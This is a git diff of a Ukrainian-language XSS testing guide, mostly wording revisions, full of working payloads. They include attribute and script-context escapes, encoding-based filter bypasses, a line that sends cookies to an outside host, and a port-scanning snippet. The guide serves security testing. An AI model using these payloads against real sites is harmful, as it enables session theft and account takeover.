Якщо ваше введення відображається всередині значення атрибута тегу, ви могли б спробувати:
|
||||
|
||||
1. **Втекти з атрибута і з тегу** (тоді ви будете в сирому HTML) і створити новий HTML тег для зловживання: `"><img [...]`
|
||||
2. Якщо ви **можете втекти з атрибута, але не з тегу** (`>` закодовано або видалено), в залежності від тегу ви могли б **створити подію**, яка виконує JS код: `" autofocus onfocus=alert(1) x="`
|
||||
3. Якщо ви **не можете втекти з атрибута** (`"` закодовано або видалено), тоді в залежності від **якого атрибута** ваше значення відображається, **якщо ви контролюєте все значення або лише частину**, ви зможете зловживати цим. Наприклад, якщо ви контролюєте подію, таку як `onclick=`, ви зможете змусити її виконати довільний код, коли на неї натиснуть. Інший цікавий **приклад** - атрибут `href`, де ви можете використовувати протокол `javascript:`, щоб виконати довільний код: **`href="javascript:alert(1)"`**
|
||||
4. Якщо ваше введення відображається всередині "**незловживаних тегів**", ви могли б спробувати трюк з **`accesskey`**, щоб зловживати вразливістю (вам знадобиться якийсь вид соціальної інженерії для експлуатації цього): **`" accesskey="x" onclick="alert(1)" x="**
|
||||
4. Якщо ваше введення відображається всередині "**незловживаних тегів**", ви могли б спробувати трюк з **`accesskey`**, щоб зловживати вразливістю (вам знадобиться якийсь вид соціальної інженерії для експлуатації цього): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
Дивний приклад Angular, що виконує XSS, якщо ви контролюєте ім'я класу:
|
||||
```html
|
||||
@ -70,7 +70,7 @@ debugging-client-side-js.md
|
||||
У цьому випадку ваш ввід відображається між **`<script> [...] </script>`** тегами HTML-сторінки, всередині `.js` файлу або всередині атрибута, використовуючи **`javascript:`** протокол:
|
||||
|
||||
- Якщо відображається між **`<script> [...] </script>`** тегами, навіть якщо ваш ввід знаходиться всередині будь-яких лапок, ви можете спробувати ввести `</script>` і вийти з цього контексту. Це працює, тому що **браузер спочатку розбирає HTML-теги** і лише потім вміст, тому він не помітить, що ваш введений тег `</script>` знаходиться всередині HTML-коду.
|
||||
- Якщо відображається **всередині JS рядка** і останній трюк не працює, вам потрібно буде **вийти** з рядка, **виконати** свій код і **відновити** JS код (якщо виникне помилка, він не буде виконаний):
|
||||
- Якщо відображається **всередині JS рядка** і останній трюк не працює, вам потрібно буде **вийти** з рядка, **виконати** свій код і **відновити** JS код (якщо є помилка, він не буде виконаний):
|
||||
- `'-alert(1)-'`
|
||||
- `';-alert(1)//`
|
||||
- `\';alert(1)//`
|
||||
@ -94,11 +94,11 @@ js-hoisting.md
|
||||
|
||||
Декілька веб-сторінок мають кінцеві точки, які **приймають як параметр ім'я функції для виконання**. Загальний приклад, який можна побачити в реальному житті, це щось на кшталт: `?callback=callbackFunc`.
|
||||
|
||||
Добрий спосіб дізнатися, чи щось, що надається безпосередньо користувачем, намагається виконатися, це **змінити значення параметра** (наприклад, на 'Vulnerable') і подивитися в консолі на помилки, такі як:
|
||||
Добрий спосіб дізнатися, чи щось, що надається безпосередньо користувачем, намагається виконатися, це **модифікувати значення параметра** (наприклад, на 'Vulnerable') і шукати в консолі помилки, такі як:
|
||||
|
||||
.png>)
|
||||
|
||||
У разі, якщо це вразливо, ви могли б **викликати сповіщення**, просто надіславши значення: **`?callback=alert(1)`**. Однак, дуже поширено, що ці кінцеві точки **перевіряють вміст**, щоб дозволити лише літери, цифри, крапки та підкреслення (**`[\w\._]`**).
|
||||
У разі, якщо це вразливо, ви могли б **викликати alert**, просто надіславши значення: **`?callback=alert(1)`**. Однак, дуже поширено, що ці кінцеві точки **перевіряють вміст**, щоб дозволити лише літери, цифри, крапки та підкреслення (**`[\w\._]`**).
|
||||
|
||||
Проте, навіть з цим обмеженням, все ще можливо виконати деякі дії. Це пов'язано з тим, що ви можете використовувати ці допустимі символи, щоб **отримати доступ до будь-якого елемента в DOM**:
|
||||
|
||||
@ -114,7 +114,7 @@ parentElement
|
||||
```
|
||||
Ви також можете спробувати **викликати функції Javascript** безпосередньо: `obj.sales.delOrders`.
|
||||
|
||||
Однак, зазвичай кінцеві точки, які виконують вказану функцію, є кінцевими точками без особливо цікавого DOM, **інші сторінки в тому ж походженні** матимуть **більш цікавий DOM** для виконання більшої кількості дій.
|
||||
Однак, зазвичай кінцеві точки, що виконують вказану функцію, є кінцевими точками без особливо цікавого DOM, **інші сторінки в тому ж походженні** матимуть **більш цікавий DOM** для виконання більшої кількості дій.
|
||||
|
||||
Тому, щоб **зловживати цією вразливістю в іншому DOM**, була розроблена експлуатація **Same Origin Method Execution (SOME)**:
|
||||
|
||||
@ -161,12 +161,12 @@ alert(1)
|
||||
<img src="x" onerror="alert(1)" />
|
||||
<svg onload=alert('XSS')>
|
||||
```
|
||||
Але, якщо використовується чорний/білий список тегів/атрибутів, вам потрібно буде **перебрати, які теги** ви можете створити.\
|
||||
Коли ви **знайдете, які теги дозволені**, вам потрібно буде **перебрати атрибути/події** всередині знайдених дійсних тегів, щоб зрозуміти, як ви можете атакувати контекст.
|
||||
Але, якщо використовується чорний/білий список тегів/атрибутів, вам потрібно буде **брутфорсити, які теги** ви можете створити.\
|
||||
Коли ви **знайдете, які теги дозволені**, вам потрібно буде **брутфорсити атрибути/події** всередині знайдених дійсних тегів, щоб побачити, як ви можете атакувати контекст.
|
||||
|
||||
### Перебір тегів/подій
|
||||
### Брутфорс тегів/подій
|
||||
|
||||
Перейдіть до [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) і натисніть на _**Скопіювати теги в буфер обміну**_. Потім надішліть їх усі за допомогою Burp intruder і перевірте, чи не було виявлено жодного тегу як шкідливого WAF. Коли ви виявите, які теги ви можете використовувати, ви можете **перебрати всі події**, використовуючи дійсні теги (на тій же веб-сторінці натисніть на _**Скопіювати події в буфер обміну**_ і дотримуйтесь тієї ж процедури, що й раніше).
|
||||
Перейдіть на [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) і натисніть на _**Скопіювати теги в буфер обміну**_. Потім надішліть їх усі за допомогою Burp intruder і перевірте, чи не було виявлено жодного тегу як шкідливого WAF. Коли ви виявите, які теги ви можете використовувати, ви можете **брутфорсити всі події**, використовуючи дійсні теги (на тій же веб-сторінці натисніть на _**Скопіювати події в буфер обміну**_ і дотримуйтесь тієї ж процедури, що й раніше).
|
||||
|
||||
### Користувацькі теги
|
||||
|
||||
@ -235,7 +235,7 @@ onerror=alert`1`
|
||||
```
|
||||
Останній використовує 2 символи юнікоду, які розширюються до 5: telsr\
|
||||
Більше таких символів можна знайти [тут](https://www.unicode.org/charts/normalization/).\
|
||||
Щоб перевірити, в які символи вони розкладаються, перевірте [тут](https://www.compart.com/en/unicode/U+2121).
|
||||
Щоб перевірити, в які символи розкладаються, перевірте [тут](https://www.compart.com/en/unicode/U+2121).
|
||||
|
||||
### Click XSS - Clickjacking
|
||||
|
||||
@ -243,19 +243,19 @@ onerror=alert`1`
|
||||
|
||||
### Неможливо - Dangling Markup
|
||||
|
||||
Якщо ви просто вважаєте, що **неможливо створити HTML-тег з атрибутом для виконання JS-коду**, вам слід перевірити [**Danglig Markup**](../dangling-markup-html-scriptless-injection/index.html), оскільки ви можете **експлуатувати** вразливість **без** виконання **JS** коду.
|
||||
Якщо ви просто вважаєте, що **неможливо створити HTML тег з атрибутом для виконання JS коду**, вам слід перевірити [**Dangling Markup**](../dangling-markup-html-scriptless-injection/index.html), оскільки ви можете **експлуатувати** вразливість **без** виконання **JS** коду.
|
||||
|
||||
## Впровадження всередині HTML-тегу
|
||||
## Впровадження всередині HTML тегу
|
||||
|
||||
### Всередині тегу/вихід з значення атрибута
|
||||
|
||||
Якщо ви **всередині HTML-тегу**, перше, що ви можете спробувати, це **вийти** з тегу та використати деякі з технік, згаданих у [попередньому розділі](#injecting-inside-raw-html), щоб виконати JS-код.\
|
||||
Якщо ви **не можете вийти з тегу**, ви можете створити нові атрибути всередині тегу, щоб спробувати виконати JS-код, наприклад, використовуючи деякі корисні навантаження (зверніть увагу, що в цьому прикладі подвійні лапки використовуються для виходу з атрибута, вам не знадобляться вони, якщо ваш ввід відображається безпосередньо всередині тегу):
|
||||
Якщо ви **всередині HTML тегу**, перше, що ви можете спробувати, це **вийти** з тегу і використати деякі з технік, згаданих у [попередньому розділі](#injecting-inside-raw-html), щоб виконати JS код.\
|
||||
Якщо ви **не можете вийти з тегу**, ви можете створити нові атрибути всередині тегу, щоб спробувати виконати JS код, наприклад, використовуючи деякі пейлоади, як (_зауважте, що в цьому прикладі подвійні лапки використовуються для виходу з атрибута, вам не знадобляться вони, якщо ваш ввід відображається безпосередньо всередині тегу_):
|
||||
```bash
|
||||
" autofocus onfocus=alert(document.domain) x="
|
||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
||||
```
|
||||
**Стилізуйте події**
|
||||
**Стиль подій**
|
||||
```python
|
||||
<p style="animation: x;" onanimationstart="alert()">XSS</p>
|
||||
<p style="animation: x;" onanimationend="alert()">XSS</p>
|
||||
@ -267,12 +267,12 @@ onerror=alert`1`
|
||||
```
|
||||
### Всередині атрибута
|
||||
|
||||
Навіть якщо ви **не можете вийти з атрибута** (`"` кодується або видаляється), в залежності від **того, в якому атрибуті** ваше значення відображається **якщо ви контролюєте все значення або лише частину** ви зможете це зловживати. Наприклад, якщо ви контролюєте подію, таку як `onclick=`, ви зможете змусити її виконати довільний код, коли на неї натиснуть.\
|
||||
Навіть якщо ви **не можете вийти з атрибута** (`"` кодується або видаляється), в залежності від **того, який атрибут** відображає ваше значення **якщо ви контролюєте все значення або лише частину** ви зможете це зловживати. Наприклад, якщо ви контролюєте подію, таку як `onclick=`, ви зможете виконати довільний код, коли на неї натиснуть.\
|
||||
Ще один цікавий **приклад** - атрибут `href`, де ви можете використовувати протокол `javascript:` для виконання довільного коду: **`href="javascript:alert(1)"`**
|
||||
|
||||
**Обхід всередині події за допомогою HTML кодування/URL кодування**
|
||||
|
||||
**HTML закодовані символи** всередині значення атрибутів HTML тегів **декодуються під час виконання**. Тому щось на зразок наступного буде дійсним (payload виділено жирним): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Повернутися назад </a>`
|
||||
**HTML закодовані символи** всередині значення атрибутів HTML тегів **декодуються під час виконання**. Тому щось на зразок наступного буде дійсним (payload виділено жирним): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Повернутися </a>`
|
||||
|
||||
Зверніть увагу, що **будь-яке HTML кодування є дійсним**:
|
||||
```javascript
|
||||
@ -326,7 +326,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
|
||||
**Місця, де ви можете впроваджувати ці протоколи**
|
||||
|
||||
**В загальному** протокол `javascript:` може бути **використаний в будь-якому тегу, який приймає атрибут `href`** та в **більшості** тегів, які приймають **атрибут `src`** (але не `<img>`)
|
||||
```markup
|
||||
```html
|
||||
<a href="javascript:alert(1)">
|
||||
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
|
||||
<form action="javascript:alert(1)"><button>send</button></form>
|
||||
@ -357,7 +357,7 @@ _**У цьому випадку трюк з HTML-кодуванням та ко
|
||||
%27-alert(1)-%27
|
||||
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
|
||||
```
|
||||
Зверніть увагу, що якщо ви спробуєте **використовувати обидва** `URLencode + HTMLencode` в будь-якому порядку для кодування **payload**, це **не спрацює**, але ви можете **змішувати їх всередині payload**.
|
||||
Зверніть увагу, що якщо ви спробуєте **використати обидва** `URLencode + HTMLencode` в будь-якому порядку для кодування **payload**, це **не спрацює**, але ви можете **змішувати їх всередині payload**.
|
||||
|
||||
**Використання Hex та Octal кодування з `javascript:`**
|
||||
|
||||
@ -377,7 +377,7 @@ _**У цьому випадку трюк з HTML-кодуванням та ко
|
||||
```javascript
|
||||
<a target="_blank" rel="opener"
|
||||
```
|
||||
Якщо ви можете вставити будь-яке URL в довільний **`<a href=`** тег, який містить атрибути **`target="_blank" і rel="opener"`**, перевірте **наступну сторінку для використання цієї поведінки**:
|
||||
Якщо ви можете вставити будь-яке URL в довільний **`<a href=`** тег, який містить атрибути **`target="_blank"` та `rel="opener"`**, перевірте **наступну сторінку для використання цієї поведінки**:
|
||||
|
||||
{{#ref}}
|
||||
../reverse-tab-nabbing.md
|
||||
@ -403,7 +403,7 @@ Android: %09 %20 %28 %2C %3B
|
||||
```
|
||||
### XSS в "Неексплуатованих тегах" (прихований ввід, посилання, канонічний, мета)
|
||||
|
||||
З [**цієї статті**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **тепер можливо зловживати прихованими ввідними даними з:**
|
||||
З [**цієї статті**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **тепер можливо зловживати прихованими ввідними полями з:**
|
||||
```html
|
||||
<button popvertarget="x">Click me</button>
|
||||
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
|
||||
@ -423,32 +423,32 @@ onbeforetoggle="alert(2)" />
|
||||
<div popover id="newsletter">Newsletter popup</div>
|
||||
```
|
||||
З [**тут**](https://portswigger.net/research/xss-in-hidden-input-fields): Ви можете виконати **XSS payload всередині прихованого атрибута**, якщо зможете **переконати** **жертву** натиснути **комбінацію клавіш**. У Firefox Windows/Linux комбінація клавіш - **ALT+SHIFT+X**, а на OS X - **CTRL+ALT+X**. Ви можете вказати іншу комбінацію клавіш, використовуючи іншу клавішу в атрибуті доступу. Ось вектор:
|
||||
```markup
|
||||
```html
|
||||
<input type="hidden" accesskey="X" onclick="alert(1)">
|
||||
```
|
||||
**Payload XSS буде виглядати приблизно так:** `" accesskey="x" onclick="alert(1)" x="`
|
||||
|
||||
### Обхід чорного списку
|
||||
|
||||
Вже було розкрито кілька трюків з використанням різного кодування в цій секції. Поверніться **назад, щоб дізнатися, де ви можете використовувати:**
|
||||
Вже було розкрито кілька трюків з використанням різного кодування в цій секції. Поверніться, щоб дізнатися, де ви можете використовувати:
|
||||
|
||||
- **HTML кодування (HTML теги)**
|
||||
- **Юнікод кодування (може бути дійсним JS кодом):** `\u0061lert(1)`
|
||||
- **Unicode кодування (може бути дійсним JS кодом):** `\u0061lert(1)`
|
||||
- **URL кодування**
|
||||
- **Шістнадцяткове та вісімкове кодування**
|
||||
- **кодування даних**
|
||||
|
||||
**Обходи для HTML тегів та атрибутів**
|
||||
**Обхід для HTML тегів та атрибутів**
|
||||
|
||||
Прочитайте [Обходи чорного списку попередньої секції](#blacklist-bypasses).
|
||||
Прочитайте [Обхід чорного списку попередньої секції](#blacklist-bypasses).
|
||||
|
||||
**Обходи для JavaScript коду**
|
||||
**Обхід для JavaScript коду**
|
||||
|
||||
Прочитайте [чорний список обходів JavaScript наступної секції](#javascript-bypass-blacklists-techniques).
|
||||
Прочитайте [чорний список обходу JavaScript наступної секції](#javascript-bypass-blacklists-techniques).
|
||||
|
||||
### CSS-Гаджети
|
||||
|
||||
Якщо ви знайшли **XSS у дуже маленькій частині** вебу, яка вимагає певного виду взаємодії (можливо, маленьке посилання в нижньому колонтитулі з елементом onmouseover), ви можете спробувати **змінити простір, який займає цей елемент**, щоб максимізувати ймовірність активації посилання.
|
||||
Якщо ви знайшли **XSS в дуже маленькій частині** вебу, яка вимагає певної взаємодії (можливо, маленьке посилання в нижньому колонтитулі з елементом onmouseover), ви можете спробувати **змінити простір, який займає цей елемент**, щоб максимізувати ймовірність активації посилання.
|
||||
|
||||
Наприклад, ви могли б додати деяке стилювання в елемент, наприклад: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
|
||||
@ -468,11 +468,11 @@ onbeforetoggle="alert(2)" />
|
||||
|
||||
## Впровадження всередині JavaScript коду
|
||||
|
||||
У цьому випадку ваш **вхід** буде **відображено всередині JS коду** файлу `.js` або між тегами `<script>...</script>` або між HTML подіями, які можуть виконувати JS код, або між атрибутами, які приймають протокол `javascript:`.
|
||||
У цих випадках ваш **вхід** буде **відображено всередині JS коду** файлу `.js` або між тегами `<script>...</script>` або між HTML подіями, які можуть виконувати JS код, або між атрибутами, які приймають протокол `javascript:`.
|
||||
|
||||
### Вихід з \<script> тегу
|
||||
|
||||
Якщо ваш код вставлений у `<script> [...] var input = 'reflected data' [...] </script>`, ви можете легко **вийти, закривши тег `<script>`**:
|
||||
Якщо ваш код вставлений в `<script> [...] var input = 'reflected data' [...] </script>`, ви можете легко **вийти, закривши тег `<script>`**:
|
||||
```javascript
|
||||
</script><img src=1 onerror=alert(document.domain)>
|
||||
```
|
||||
@ -486,9 +486,9 @@ onbeforetoggle="alert(2)" />
|
||||
';alert(document.domain)//
|
||||
\';alert(document.domain)//
|
||||
```
|
||||
### Template literals \`\`
|
||||
### Шаблонні літерали \`\`
|
||||
|
||||
Щоб створити **рядки** окрім одинарних і подвійних лапок, JS також приймає **зворотні лапки** **` `` `**. Це відомо як шаблонні літерали, оскільки вони дозволяють **вбудовані JS вирази** за допомогою синтаксису `${ ... }`.\
|
||||
Щоб створити **рядки** окрім одинарних і подвійних лапок, JS також приймає **зворотні лапки** **` `` `**. Це відомо як шаблонні літерали, оскільки вони дозволяють **вбудовувати JS вирази** за допомогою синтаксису `${ ... }`.\
|
||||
Отже, якщо ви виявите, що ваш ввід **відображається** всередині JS рядка, який використовує зворотні лапки, ви можете зловживати синтаксисом `${ ... }`, щоб виконати **произвольний JS код**:
|
||||
|
||||
Це можна **зловживати** за допомогою:
|
||||
@ -496,15 +496,15 @@ onbeforetoggle="alert(2)" />
|
||||
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
|
||||
```
|
||||
|
||||
```````````````javascript
|
||||
```javascript
|
||||
// This is valid JS code, because each time the function returns itself it's recalled with ``
|
||||
function loop() {
|
||||
return loop
|
||||
}
|
||||
loop``````````````
|
||||
```````````````
|
||||
### Виконання коду з кодуванням
|
||||
```markup
|
||||
loop``
|
||||
```
|
||||
### Закодоване виконання коду
|
||||
```html
|
||||
<script>\u0061lert(1)</script>
|
||||
<svg><script>alert('1')
|
||||
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
|
||||
@ -599,7 +599,7 @@ console.log(log)
|
||||
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
|
||||
```
|
||||
**JavaScript без дужок**
|
||||
````javascript
|
||||
```javascript
|
||||
// By setting location
|
||||
window.location='javascript:alert\x281\x29'
|
||||
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
|
||||
@ -672,12 +672,12 @@ try{throw onerror=alert}catch{throw 1}
|
||||
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
|
||||
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
|
||||
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
|
||||
````
|
||||
```
|
||||
- [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md)
|
||||
- [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix)
|
||||
|
||||
**Виклик довільної функції (alert)**
|
||||
````javascript
|
||||
```javascript
|
||||
//Eval like functions
|
||||
eval('ale'+'rt(1)')
|
||||
setTimeout('ale'+'rt(2)');
|
||||
@ -735,10 +735,10 @@ top['al\145rt'](1)
|
||||
top['al\x65rt'](1)
|
||||
top[8680439..toString(30)](1)
|
||||
<svg><animate onbegin=alert() attributeName=x></svg>
|
||||
````
|
||||
```
|
||||
## **DOM вразливості**
|
||||
|
||||
Є **JS код**, який використовує **небезпечні дані, контрольовані зловмисником**, такі як `location.href`. Зловмисник може зловживати цим, щоб виконати довільний JS код.\
|
||||
Є **JS код**, який використовує **неконтрольовані дані, що контролюються зловмисником**, такі як `location.href`. Зловмисник може зловживати цим, щоб виконати довільний JS код.\
|
||||
**Через розширення пояснення** [**DOM вразливостей, воно було переміщено на цю сторінку**](dom-xss.md)**:**
|
||||
|
||||
{{#ref}}
|
||||
@ -752,7 +752,7 @@ dom-xss.md
|
||||
|
||||
### Cookie XSS
|
||||
|
||||
Якщо ви можете викликати XSS, відправивши payload всередині cookie, це зазвичай є self-XSS. Однак, якщо ви знайдете **вразливий піддомен до XSS**, ви можете зловживати цим XSS, щоб вставити cookie в цілий домен, викликавши cookie XSS в основному домені або інших піддоменах (тих, що вразливі до cookie XSS). Для цього ви можете використовувати атаку cookie tossing:
|
||||
Якщо ви можете викликати XSS, відправивши payload всередині cookie, це зазвичай є self-XSS. Однак, якщо ви знайдете **вразливий піддомен до XSS**, ви можете зловживати цим XSS, щоб вставити cookie в весь домен, викликавши cookie XSS в основному домені або інших піддоменах (тих, що вразливі до cookie XSS). Для цього ви можете використовувати атаку cookie tossing:
|
||||
|
||||
{{#ref}}
|
||||
../hacking-with-cookies/cookie-tossing.md
|
||||
@ -766,7 +766,7 @@ dom-xss.md
|
||||
|
||||
### Віддзеркалення сесії
|
||||
|
||||
Якщо ви знайдете деякі self XSS, і веб-сторінка має **віддзеркалення сесії для адміністраторів**, наприклад, дозволяючи клієнтам просити допомогу, щоб адміністратор міг вам допомогти, він буде бачити те, що ви бачите у своїй сесії, але з його сесії.
|
||||
Якщо ви знайдете деякі self XSS, а веб-сторінка має **віддзеркалення сесії для адміністраторів**, наприклад, дозволяючи клієнтам просити допомогу, щоб адміністратор міг вам допомогти, він буде бачити те, що ви бачите у своїй сесії, але з його сесії.
|
||||
|
||||
Ви могли б змусити **адміністратора активувати ваш self XSS** і вкрасти його cookies/сесію.
|
||||
|
||||
@ -782,19 +782,19 @@ dom-xss.md
|
||||
```
|
||||
### Ruby-On-Rails обход
|
||||
|
||||
Через **RoR масове призначення** цитати вставляються в HTML, а потім обмеження на цитати обходяться, і додаткові поля (onfocus) можуть бути додані всередині тегу.\
|
||||
Через **RoR масове призначення** цитати вставляються в HTML, а потім обмеження цитат обминається, і додаткові поля (onfocus) можуть бути додані всередині тегу.\
|
||||
Приклад форми ([з цього звіту](https://hackerone.com/reports/709336)), якщо ви надішлете payload:
|
||||
```
|
||||
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||
```
|
||||
Пара "Key","Value" буде відображена назад ось так:
|
||||
Пара "Key","Value" буде виведена назад ось так:
|
||||
```
|
||||
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
|
||||
```
|
||||
Тоді атрибут onfocus буде вставлений, і відбудеться XSS.
|
||||
|
||||
### Спеціальні комбінації
|
||||
```markup
|
||||
```html
|
||||
<iframe/src="data:text/html,<svg onload=alert(1)>">
|
||||
<input type=image src onerror="prompt(1)">
|
||||
<svg onload=alert(1)//
|
||||
@ -825,7 +825,7 @@ document['default'+'View'][`\u0061lert`](3)
|
||||
```
|
||||
### XSS з ін'єкцією заголовків у відповіді 302
|
||||
|
||||
Якщо ви виявите, що можете **ін'єктувати заголовки в відповіді 302 Redirect**, ви можете спробувати **змусити браузер виконати довільний JavaScript**. Це **не тривіально**, оскільки сучасні браузери не інтерпретують тіло HTTP-відповіді, якщо код статусу HTTP-відповіді - 302, тому просто корисний payload для міжсайтового скриптингу є марним.
|
||||
Якщо ви виявите, що можете **ін'єктувати заголовки в відповіді 302 Redirect**, ви можете спробувати **змусити браузер виконати довільний JavaScript**. Це **не тривіально**, оскільки сучасні браузери не інтерпретують тіло HTTP-відповіді, якщо код статусу HTTP-відповіді - 302, тому просто корисний payload для міжсайтового скриптингу не буде працювати.
|
||||
|
||||
У [**цьому звіті**](https://www.gremwell.com/firefox-xss-302) та [**цьому**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) ви можете прочитати, як ви можете протестувати кілька протоколів у заголовку Location і подивитися, чи дозволяє якийсь з них браузеру перевірити та виконати payload XSS у тілі.\
|
||||
Відомі протоколи: `mailto://`, `//x:1/`, `ws://`, `wss://`, _порожній заголовок Location_, `resource://`.
|
||||
@ -896,9 +896,9 @@ import moment from "moment"
|
||||
import { partition } from "lodash"
|
||||
</script>
|
||||
```
|
||||
Ця поведінка була використана в [**цьому звіті**](https://github.com/zwade/yaca/tree/master/solution) для перенаправлення бібліотеки на eval, щоб зловживати нею, що може викликати XSS.
|
||||
Ця поведінка була використана в [**цьому звіті**](https://github.com/zwade/yaca/tree/master/solution) для перенаправлення бібліотеки на eval, щоб зловживати нею, оскільки це може викликати XSS.
|
||||
|
||||
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Ця функція в основному призначена для вирішення деяких проблем, викликаних попереднім рендерингом. Вона працює так:
|
||||
- [**правила спекуляції**](https://github.com/WICG/nav-speculation)**:** Ця функція в основному призначена для вирішення деяких проблем, викликаних попереднім рендерингом. Вона працює так:
|
||||
```html
|
||||
<script type="speculationrules">
|
||||
{
|
||||
@ -914,24 +914,24 @@ import { partition } from "lodash"
|
||||
}
|
||||
</script>
|
||||
```
|
||||
### Web Content-Types to XSS
|
||||
### Веб-типи вмісту для XSS
|
||||
|
||||
(З [**тут**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Наступні типи контенту можуть виконувати XSS у всіх браузерах:
|
||||
(З [**тут**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Наступні типи вмісту можуть виконувати XSS у всіх браузерах:
|
||||
|
||||
- text/html
|
||||
- application/xhtml+xml
|
||||
- application/xml
|
||||
- text/xml
|
||||
- image/svg+xml
|
||||
- text/plain (?? не в списку, але я думаю, що бачив це в CTF)
|
||||
- text/plain (?? не в списку, але я думаю, що бачив це на CTF)
|
||||
- application/rss+xml (вимкнено)
|
||||
- application/atom+xml (вимкнено)
|
||||
|
||||
В інших браузерах можуть використовуватися інші **`Content-Types`** для виконання довільного JS, перевірте: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
|
||||
|
||||
### xml Content Type
|
||||
### xml Тип вмісту
|
||||
|
||||
Якщо сторінка повертає тип контенту text/xml, можливо вказати простір імен і виконати довільний JS:
|
||||
Якщо сторінка повертає тип вмісту text/xml, можливо вказати простір імен і виконати довільний JS:
|
||||
```xml
|
||||
<xml>
|
||||
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
|
||||
@ -943,7 +943,7 @@ import { partition } from "lodash"
|
||||
|
||||
Коли використовується щось на кшталт **`"some {{template}} data".replace("{{template}}", <user_input>)`**, зловмисник може використовувати [**спеціальні заміни рядків**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement), щоб спробувати обійти деякі захисти: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
|
||||
|
||||
Наприклад, у [**цьому звіті**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) це було використано для **екранування JSON рядка** всередині скрипта та виконання довільного коду.
|
||||
Наприклад, у [**цьому звіті**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) це було використано для **втечі JSON рядка** всередині скрипта та виконання довільного коду.
|
||||
|
||||
### Chrome Cache до XSS
|
||||
|
||||
@ -999,7 +999,7 @@ import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
|
||||
// our actual module code
|
||||
})
|
||||
```
|
||||
Отже, якщо з цього модуля ми можемо **викликати іншу функцію**, можливо використовувати `arguments.callee.caller.arguments[1]` з тієї функції для доступу до **`require`**:
|
||||
Отже, якщо з цього модуля ми можемо **викликати іншу функцію**, можливо використовувати `arguments.callee.caller.arguments[1]` з цієї функції для доступу до **`require`**:
|
||||
```javascript
|
||||
;(function () {
|
||||
return arguments.callee.caller.arguments[1]("fs").readFileSync(
|
||||
@ -1008,7 +1008,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync(
|
||||
)
|
||||
})()
|
||||
```
|
||||
У схожий спосіб, як у попередньому прикладі, можна **використовувати обробники помилок** для доступу до **обгортки** модуля та отримання **`require`** функції:
|
||||
У схожий спосіб, як у попередньому прикладі, можливо **використовувати обробники помилок** для доступу до **обгортки** модуля та отримання **`require`** функції:
|
||||
```javascript
|
||||
try {
|
||||
null.f()
|
||||
@ -1267,7 +1267,7 @@ steal-info-js.md
|
||||
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
|
||||
```
|
||||
> [!NOTE]
|
||||
> Ви **не зможете отримати доступ до куків з JavaScript**, якщо у куку встановлено прапор HTTPOnly. Але тут ви маєте [декілька способів обійти цю захист](../hacking-with-cookies/index.html#httponly), якщо вам пощастить.
|
||||
> Ви **не зможете отримати доступ до куків з JavaScript**, якщо у куці встановлено прапор HTTPOnly. Але тут ви маєте [декілька способів обійти цю захист](../hacking-with-cookies/index.html#httponly), якщо вам пощастить.
|
||||
|
||||
### Вкрасти вміст сторінки
|
||||
```javascript
|
||||
@ -1360,10 +1360,10 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
|
||||
```
|
||||
_Короткі часи вказують на відповідний порт_ _Довші часи вказують на відсутність відповіді._
|
||||
|
||||
Перегляньте список портів, заборонених у Chrome [**тут**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) та у Firefox [**тут**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
|
||||
